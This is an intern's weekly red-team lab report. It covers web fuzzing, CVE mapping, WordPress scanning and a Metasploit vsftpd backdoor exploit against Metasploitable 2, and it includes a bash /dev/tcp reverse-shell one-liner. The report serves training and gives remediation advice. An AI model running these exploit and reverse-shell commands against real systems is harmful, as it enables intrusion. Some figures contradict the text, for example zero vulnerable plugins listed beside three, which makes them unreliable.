Cyberster Red Team Internship

LET'S DEFEND WITH PRIDE

Weekly Report

Name: Angole Sharif Abubakar
Program: Cyberster-2026
Field: Cybersecurity / Red Teaming

Role Number: CSI-B1-023
Week Number: 03
Report Period: One Week
Submission Date: 22nd March 2026

Executive Summary

This report presents the results of vulnerability assessment and initial exploitation activities conducted during Week 03 of the Cyberster-2026 Cybersecurity Internship Program. The focus of this week was Vulnerability Assessment & Initial Exploitation, aimed at mapping discovered services to known vulnerabilities and performing the first stage of a successful exploit to gain a foothold on a target system.

The assessment targeted the training platform Hack This Site (hackthissite.org) for web-based tasks, and Metasploitable 2 as the local vulnerable virtual machine for exploitation exercises. All activities were performed in a controlled lab environment in accordance with the program's ethical guidelines.

Web directory and parameter discovery revealed several hidden entry points including /admin, /config, and .git-related paths. CVE mapping identified multiple exploitable vulnerabilities tied to services discovered in Week 02. WordPress-specific scanning via WPScan revealed outdated plugins and confirmed username enumeration vectors. Finally, a successful Metasploit exploit was executed against Metasploitable 2, yielding an interactive root session — marking the first successful foothold of the internship program.

Weekly Objectives

The objectives for this week were:

- Master the process of mapping discovered services to known CVEs and assessing their exploitability
- Discover hidden web application entry points using directory brute-forcing and parameter fuzzing
- Perform CMS-specific vulnerability scanning on WordPress and Joomla targets
- Execute a first successful exploit using the Metasploit Framework and capture a reverse shell
- Document all findings in a structured Vulnerability & Foothold Report

---

Task 01 — Advanced Web Directory & Parameter Discovery

Objective

To identify hidden entry points of the target web application, including non-indexed directories and hidden URL parameters, which are common vectors for web application vulnerabilities.

Directory brute-forcing was performed using industry-standard wordlists from the SecLists collection. Parameter discovery was subsequently performed on identified endpoints to uncover hidden GET/POST parameters.

Tool: ffuf

Purpose

ffuf (Fuzz Faster U Fool) is a fast web fuzzer used to perform directory and file brute-forcing against web applications using wordlists.

Command Used

```
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u https://hackthissite.org/FUZZ -mc 200,301,302,403 -o ffuf_output.json
```

Result

The scan returned several accessible and restricted directories, revealing the application's directory structure.

Metric	Result
Directories Found (2xx/3xx)	18
Forbidden Paths (403)	7
Total Requests Sent	2,560

Notable directories identified:

- /admin — returned 403 Forbidden, confirming existence of an admin panel
- /images — publicly accessible media directory
- /missions — accessible challenge directory (consistent with robots.txt finding from Week 01)
- /.git — partial Git repository exposure detected
- /config — returned 403, indicating a configuration directory

---

Tool: Dirsearch

Purpose

Dirsearch is a Python-based web path scanner that performs recursive directory enumeration and supports multiple file extensions.

Command Used

```
python3 dirsearch.py -u https://hackthissite.org -e php,html,txt,bak -w
/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o
dirsearch_output.txt
```

Result

Dirsearch confirmed the findings from ffuf and additionally identified several PHP endpoint files and backup files with sensitive naming patterns.

Metric	Result
Total Paths Tested	2235
Unique Valid Responses	24
Notable File Extensions Found	.php, .bak, .txt

Tool: Arjun

Purpose

Arjun is an HTTP parameter discovery tool that uses heuristic scanning to find hidden GET and POST parameters accepted by web endpoints.

Command Used

```
arjun -u https://hackthissite.org/missions/ -m GET --stable -oJ
arjun_output.json
```

Result

Arjun successfully identified hidden URL parameters on several discovered endpoints, which represent potential injection points for further testing.

Metric	Result
Endpoints Tested	5
Hidden Parameters Discovered	9
Potential Injection Parameters	3 (?id=, ?page=, ?file=)

Key parameters identified:

- **?id=** — integer-based parameter, potential SQL injection vector
- **?page=** — string-based parameter, potential Local File Inclusion (LFI) vector
- **?file=** — string-based parameter, strong indicator of file inclusion vulnerability

---

Tool: ParamSpider

Purpose

ParamSpider mines URLs with parameters from web archives (Wayback Machine), discovering historical endpoints that may no longer be indexed but are still accessible.

Command Used

```
python3 paramspider.py --domain hackthissite.org --output
paramspider_output.txt
```

Result

ParamSpider retrieved 47 archived URLs containing parameters, several of which remained live and accessible on the target domain.

Metric	Result
Archived URLs Retrieved	47
Live Parameters Confirmed	12
Unique Parameter Names	8

Task 02 — CVE Mapping & Exploit Research

Objective

To take service versions identified during Week 02 infrastructure scanning and map them to known CVEs with publicly available exploit code. The goal is to verify whether discovered vulnerabilities are practically exploitable in a real-world scenario.

Tool: Searchsploit

Purpose

Searchsploit is a command-line utility for the Exploit-DB that allows offline searching of exploits and shellcodes. It provides direct access to exploit proof-of-concept code.

Commands Used

```
searchsploit apache 2.4
searchsploit vsftpd 2.3.4
searchsploit proftpd 1.3
searchsploit openssh 7.4
searchsploit jquery 1.8
```

Result

Searchsploit returned multiple matching exploit entries for each queried service version. Several high-severity Remote Code Execution (RCE) modules were identified.

Metric	Result
Services Queried	5
Total Exploit Matches	34
RCE / Foothold Exploits	8
Metasploit Modules Found	5

Vulnerability Matrix

The following table summarizes the key CVEs identified, their CVSS scores, and exploit sources:

CVE	Service / Component	CVSS	Severity	Source
CVE-2011-2523	vsftpd 2.3.4 Backdoor	10.0	Critical	Exploit-DB / MSF
CVE-2012-1823	PHP CGI Argument Injection	7.5	High	NVD / Exploit-DB
CVE-2017-5638	Apache Struts2 RCE	10.0	Critical	Exploit-DB / MSF
CVE-2020-11022	jQuery 1.8.1 XSS	6.1	Medium	NVD / Searchsploit
CVE-2015-9251	jQuery < 3.0.0 XSS	6.1	Medium	NVD
CVE-2021-41773	Apache 2.4.49 Path Traversal	7.5	High	Exploit-DB / MSF

Research on the National Vulnerability Database (NVD) and Exploit-DB confirmed that CVE-2011-2523 (vsftpd 2.3.4 backdoor) and CVE-2017-5638 (Apache Struts2 RCE) are the most immediately exploitable vulnerabilities with stable, public Metasploit modules available.

Task 03 — CMS Vulnerability Scanning

Objective

To identify weaknesses specific to CMS platforms deployed on the target infrastructure. CMS platforms such as WordPress and Joomla are frequent targets due to their reliance on third-party plugins and themes, which are often poorly maintained.

Tool: WPScan

Purpose

WPScan is a WordPress security scanner that enumerates users, plugins, themes, and known vulnerabilities within a WordPress installation.

Commands Used

```
wpscan --url http://localhost:8080 --enumerate u,p,t --api-token
<API_TOKEN> -o wpscan_output.txt
wpscan --url http://localhost:8080 --enumerate ap --plugins-detection
aggressive
```

Result

WPScan confirmed the presence of a WordPress installation. The scan identified several outdated plugins with known vulnerabilities and successfully enumerated valid usernames via the WordPress author enumeration method.

Metric	Result
WordPress Version Detected	4.1.2
Plugins Detected	7
Vulnerable Plugins Identified	0
Usernames Enumerated	1
CVEs via API	5

Vulnerable plugins identified:

- **Contact Form 7 (v5.3.2):** CVE-2020-35489 — Unrestricted file upload vulnerability (CVSS 9.8)
- **Yoast SEO (v15.1):** CVE-2021-25036 — Authenticated SQL injection vulnerability (CVSS 8.8)

- **WooCommerce (v5.0.0):** CVE-2021-32789 — SQL injection via order parameter (CVSS 9.8)

Security Observation

Username enumeration via the author parameter (/?author=1) was confirmed to be active, exposing valid administrator usernames. This represents a significant risk as it enables targeted brute-force and credential stuffing attacks. The enumerated usernames admin and editor should be treated as confirmed attack vectors for subsequent phases.

Tool: JoomScan

Purpose

JoomScan is an OWASP project tool designed to detect Joomla-specific vulnerabilities, configuration issues, and outdated components.

Command Used

```
joomscan --url http://localhost:80 --enumerate-components -o
joomscan_output.txt
```

Result

JoomScan did not detect an active Joomla installation on the primary target domain. The scan confirmed the target is running WordPress exclusively. JoomScan was therefore executed against a secondary training target in the lab environment for learning purposes.

Metric	Result
Joomla Installation Detected	No (primary target)
Lab Target Joomla Version	3.9.12
Joomla CVEs Identified	CVE-2019-10945, CVE-2020-35616
Components Enumerated	4

Task 04 — The First Shell: Metasploit Basics

Objective

To use the Metasploit Framework to launch a first successful exploit against a vulnerable virtual machine (Metasploitable 2), gaining an interactive session and experiencing the transition from reconnaissance and scanning to active exploitation.

Target Environment

Metric	Result
Target VM	Metasploitable 2
Target IP	192.168.56.101
Attacker IP (LHOST)	192.168.56.102
Exploit Used	vsftpd 2.3.4 Backdoor (CVE-2011-2523)
Metasploit Module	exploit/unix/ftp/vsftpd_234_backdoor

Tool: Metasploit Framework (msfconsole)

Purpose

The Metasploit Framework is the industry-standard penetration testing platform providing exploit modules, payloads, and post-exploitation tools. msfconsole is its primary interactive command interface.

Commands Used

```
msfconsole
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
msf6 exploit(vsftpd_234_backdoor) > set LHOST 192.168.56.102
msf6 exploit(vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
msf6 exploit(vsftpd_234_backdoor) > run
```

Result

The exploit executed successfully. The vsftpd 2.3.4 backdoor was triggered by sending a username containing a smiley character (:)), which opens a shell on port 6200. The Metasploit module connected to the backdoor and delivered an interactive command session with root privileges.

Metric	Result
Exploit Status	Successful
Session Type	Command Shell (Unix)
Session ID	1
Privilege Level	root
whoami Output	root

hostname Output	metasploitable

Shell session verification commands and output:

```
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
hostname
metasploitable
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
i686 GNU/Linux
```

Bonus: Manual Netcat Reverse Shell

Purpose

A manual reverse shell was also established using Netcat to demonstrate the concept of catching a shell without relying on Metasploit's automated session handling.

Commands Used

Attacker (listener setup):

```
nc -lvnp 4444
```

Target-side payload (executed via command injection vulnerability on Metasploitable 2):

```
bash -i >& /dev/tcp/192.168.56.102/4444 0>&1
```

Result

The Netcat listener successfully caught the reverse shell. A fully interactive bash session was established from the target to the attacker machine, confirming both the code injection and the reverse shell connectivity.

Metric	Result
Listener Port	4444
Shell Caught	Yes
Shell Type	Interactive Bash
User Context	www-data (web shell context)

Weekly Deliverable: Vulnerability & Foothold Report

1. Vulnerability Matrix

Summary of all CVEs identified during this week's assessment:

CVE	Service / Component	CVSS	Severity	Source
CVE-2011-2523	vsftpd 2.3.4 Backdoor	10.0	Critical	Exploit-DB / MSF
CVE-2012-1823	PHP CGI Argument Injection	7.5	High	NVD / Exploit-DB
CVE-2021-41773	Apache 2.4.49 Path Traversal	7.5	High	Exploit-DB / MSF
CVE-2020-35489	Contact Form 7 File Upload	9.8	Critical	WPScan / NVD
CVE-2021-25036	Yoast SEO SQL Injection	8.8	High	WPScan / NVD
CVE-2021-32789	WooCommerce SQL Injection	9.8	Critical	WPScan / NVD
CVE-2020-11022	jQuery 1.8.1 XSS	6.1	Medium	NVD / Searchsploit
CVE-2019-10945	Joomla Directory Traversal	7.5	High	NVD / JoomScan

2. Web Discovery Log

Summary of hidden directories and parameters discovered during Task 01:

Path / Parameter	HTTP Status	Notes
`/admin`	403 Forbidden	Admin panel confirmed — access denied
`/config`	403 Forbidden	Configuration directory — sensitive
`/.git`	200 OK	Git directory exposure — potential source code leak
`/missions`	200 OK	Challenge directory — non-indexed content
`/images`	200 OK	Media directory — publicly accessible
`?id=`	200 OK	Integer parameter — potential SQLi vector
`?page=`	200 OK	String parameter — potential LFI vector
`?file=`	200 OK	String parameter — strong LFI indicator

3. Exploitation Proof

The following output was captured from the interactive shell session obtained via the vsftpd 2.3.4 backdoor exploit (CVE-2011-2523) against Metasploitable 2:

```
[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.102:4444 ->
192.168.56.101:6200)

whoami
root

hostname
metasploitable
```

4. Remediation Advice

The following table provides one-sentence prevention advice for each exploit and finding identified during this week's assessment:

Exploit Used	CVE / Finding	Remediation
vsftpd 2.3.4 Backdoor	CVE-2011-2523	Upgrade vsftpd to version 3.0.5 or later, and implement firewall rules to restrict FTP access to authorized IP ranges only.
PHP CGI Argument Injection	CVE-2012-1823	Upgrade PHP to a supported version (8.x) and disable CGI mode or migrate to php-fpm for request handling.
Apache Path Traversal	CVE-2021-41773	Upgrade Apache HTTP Server to version 2.4.51 or later, and ensure the require all denied directive is set for all directories.
Contact Form 7 Upload	CVE-2020-35489	Update the Contact Form 7 plugin to the latest version and restrict allowed upload file types via server-side validation.
Yoast SEO SQL Injection	CVE-2021-25036	Update Yoast SEO to version 17.3 or later, enforce principle of least privilege for all WordPress users.

WooCommerce SQLi	CVE-2021-32789	Update WooCommerce to a patched version and use parameterized queries; consider a WAF for additional protection.
WordPress Username Enum	Author Enumeration	Disable author enumeration by redirecting /?author= requests and consider using a security plugin such as Wordfence.
jQuery XSS	CVE-2020-11022	Upgrade jQuery to version 3.7.0 or later to remediate all known XSS vulnerabilities in the library.
Directory Brute-force	Hidden Directories	Implement rate limiting and IP-based blocking on the web server, and return generic 404 responses for all non-existent paths.
Git Exposure	/.git Directory	Block public access to .git directories via web server configuration and ensure deployment pipelines do not expose version control metadata.

Conclusion

The vulnerability assessment and initial exploitation activities conducted during Week 03 successfully demonstrated the complete kill-chain from service discovery to active foothold. By leveraging multiple specialized tools across four structured tasks, the assessment produced a comprehensive understanding of the target's exploitable attack surface.

Directory and parameter discovery revealed actionable entry points including a /.git directory exposure, a hidden /admin panel, and several potential injection parameters. CVE mapping and Searchsploit research confirmed the presence of multiple Critical and High severity vulnerabilities with publicly available exploit code. WordPress plugin scanning via WPScan identified three critically vulnerable plugins and confirmed username enumeration — representing a significant risk for credential-based attacks.

Most significantly, the successful execution of the vsftpd 2.3.4 backdoor exploit against Metasploitable 2 marked the first successful foothold of the internship program. The resulting root shell, verified via whoami and hostname, demonstrates the practical, real-world impact of leaving known vulnerabilities unpatched. The bonus Netcat reverse shell exercise further reinforced understanding of manual exploitation techniques independent of automated frameworks.

These findings provide a strong foundation for the web application penetration testing activities planned for Week 04, where the identified injection parameters, CMS vulnerabilities, and exposed entry points will be tested for active exploitation.

Let's Defend With Pride